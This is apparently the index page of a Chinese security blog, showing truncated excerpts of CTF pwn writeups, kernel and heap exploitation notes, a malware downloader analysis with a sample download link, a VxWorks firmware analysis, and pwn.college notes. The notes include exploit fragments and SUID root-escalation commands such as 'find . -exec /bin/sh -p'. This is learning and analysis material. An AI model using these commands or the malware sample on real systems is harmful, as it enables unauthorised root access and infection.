bye
某一天,突然意识到博客似乎不应该这么写,这么写和草稿纸无异。所以,博客后面就停止更新了。
后面大概会重新开始,真正的做内容分享吧,大概……再会~
Welcome BurYiA的小世界
欢迎来到 BurYiA的博客。
这里有什么?
平时练习ctf时写下的writeup(以二进制为主)
平时练习编程算法时写下的答案总结
有关于各种电脑知识应用的文章
一些有趣的网络安全技术
一段充实奋斗的时光
每个人的青春都是一场有去无回的旅行,因而青春显得无比珍贵和充满神秘。在青春里,你可能会迷茫,也会执着,青春也会让你张扬地笑,也会给你莫名的痛。但不管怎么样,青春多好啊,请不要在美好的岁月中放弃自己。
【BUUCTF】Pwn篇
rip
题目链接
首先查看一下文件的相关信息
64位程序,没有任何保护。用IDA打开对程序逻辑进行分析
输入使用的gets,根据这点,直接栈溢出即可。
观察其他函数可以发现有一个名叫fun的函数,里面有system(“/bin/sh”),运行这个函数就可以拿到权限
现在的问题就是获取我们需要填充的字节数了(去填充ret返回地址)
有趣的就在这儿,服务器那边的程序和拿到手里的程序是有区别的:
首先,远程的服务器(docker)里运行的程序没有对标准输入取消缓冲区,即我们本地的程序是会先输入再输出,远程是直接先输入,写exp时需要注意这点
其次,经过测试本地需要填充的字节数与远程程序需要填充的字节数是不一致的,需要作出更改
需要注意的地方就是这两点,本地填充字节数为23,远程为15(因为字节数不大,爆破即可。根据返回的保存信息向下寻找正确的填充字节数)
EXP:
1234567891011from pwn import *#context.log_level='debug'#r = process("./pwn1" ...
ctf-wiki kernel
开始玩kernel系列,写下记录
kernel UAF由于是第一道kernel,所以加一些环境相关的记录。
由于kernel pwn题一般会提供一个 boot.sh ,也就是启动脚本,并且大多使用qemu来起系统,所以qemu必须得有。
其次,调试的时候也需要有gdb,gdb也得装。
单纯的gdb可能不太好用,这时需要装一个gef插件『调内核这个相对好用一些』
pwn题所给的文件除了启动文件后一般还会有一个内核压缩文件(bzImage),如果本地下载/编译过linux kernel,在源码文件夹的scriptes目录会有这样一个脚本(路径:linux-4.4.72/scripts/extract-vmlinux),使用该脚本可将bzImage解压成vmlinux(./extract-vmlinux bzImage > ./vmlinux),如果vmlinux中有符号表的话就可以带符号表调试kernel了(gdb -q ./vmlinux)
除了上述的两个文件外一般还会带有一个文件系统的压缩文件,rootfs.cpio ...
小记
兜兜转转又回到了hexo,白嫖搭网站还是舒服。
从昨天下午开始到这会儿,基本是搭建完成了,后面找时间做一下数据迁移和博客内容整理。目前折腾的结果是:
本地通过obsidian写作(模板功能确实不错)
写完后git传到家中的OneDev上(本地代码托管平台)
OneDev上通过自动构建生成html页面,并将生成好的html页面上传到github
vercel托管展示github上的html页面
目前来说感觉还算不错,基本框架就这样了。
一款简单的病毒下载器分析
分析报告
基本信息样本类型:PE32样本文件大小:15872(15.50 kB)样本文件MD5 校验值:56b2c3810dba2e939a8bb9fa36d3cf96 样本文件SHA1 校验值:99ee31cd4b0d6a4b62779da36e0eeecdd80589fc壳信息:ASPack(2.12-2.42)[-]样本下载:https://wwi.lanzoup.com/iFR7x08idt8h 密码:virus【压缩包密码:infected】
简介经过分析,该病毒为一个“下载器+注入器”,他会下载云端的5个文件(k1.rar, k2.rar, k3.rar, k4.rar, k5.rar 文件格式实际为可执行exe),并且在下载完成后会将自身复制到符合条件的exe尾部
文件系统变化程序会使用的临时文件夹:C:\Users\【用户名】\AppData\Local\Temp\
注册表变化将要被创建的注册表键
12HKU\S-1-5-21-1154830284-2183519305-1153629013-1000\Softwa ...
工控入门——施耐德NOE77101固件分析
【文章首发于IOTsec-Zone】拿到固件后binwalk查看一下相关信息(wwwroot/conf/exec/NOE77101.bin)发现没有什么可利用信息后直接进行提取文件
最终发现有两个文件,并且其中一个是vxworks系统文件
在末尾也可以看到使用的VxWorks的内核版本为2.5,并且自带了符号表
binwalk -A 查一下架构可以看到是ppc架构大端
ida32打开固件进行分析,选择ppc架构加载基址目前可以先不用管(不知道),一路回车即可
进入后发现由于ida不知道入口点在哪儿,所以一个函数也没有识别出来
结合VxWorks的官方文档可以知道vxworks最开始的代码时对栈进行初始化,完成后会跳转到usrInit,即vxworks系统引导完成后的第一个函数。我们来对最凯斯的代码进行分析
首先在最开始处按c使ida将最开始的数据识别成函数
结合刚才所知内容与汇编代码相结合分析,最后跳转的loc_1CD94应该为usrInit函数,它上面有两个操作:1.设置r1=0x00010000,2.设置r3=0r1寄存器为ppc中 ...
ctf-wiki heap系列
kernel看不进去,回头重新复习巩固一下heap
进度:3/22
off-by-oneAsis_2016_b00ks很忧伤啊,本地的ubuntu16 docker容器中做的,脚本写好了跑不起来???__malloc_hook明明改好了,调试也可以看到确实进入到one_gadget的位置了,但是在具体执行的到ogg的时候…他跳过去了???先这样吧,当前环境下改__malloc_hook是改成功了
搞出来了…malloc_hook换成free_hook就好了,果然是rsi的问题,one_gadget的条件要求他RSI为NULL,malloc_hook的时候附近都不符合条件,四个ogg一个都不能用,换成free_hook就好了
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293 ...
dojo.pwn.college笔记(Exploitation Scenarios)
3.1需要注意两个点,一个是read的位置,一个是每次启动challenge函数后栈的长度变化
123456789101112131415161718192021222324252627282930313233from pwn import *context.log_level='info'r = process(["/challenge/toddlerone_level3.1"])payload = asm(shellcraft.amd64.linux.cat('/flag'), arch='amd64')payload1 = b'REPEAT' + b'a'*(0x28-6-8*2) + b'b'r.sendlineafter(b'Payload size: ', str(len(payload1)))r.sendafter(b'bytes)!\n', payload1)print(r.recvuntil ...
SUID提权-dojo.pwn.college(Program Misuse)
有一个特牛逼的站:https://gtfobins.github.io/
以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,请逐个尝试find / -perm -u=s -type f 2>/dev/nullfind / -user root -perm -4000-print2>/dev/nullfind / -user root -perm -4000-exec ls -ldb {} ;
env12# iduid=1000(hacker) gid=1000(hacker) euid=0(root) groups=1000(hacker)
find123hacker@babysuid_level25:~$ find . -exec /bin/sh -p \; -quit# iduid=1000(hacker) gid=1000(hacker) euid=0(root) groups=1000(hacker)
make123hacker@babysuid_le ...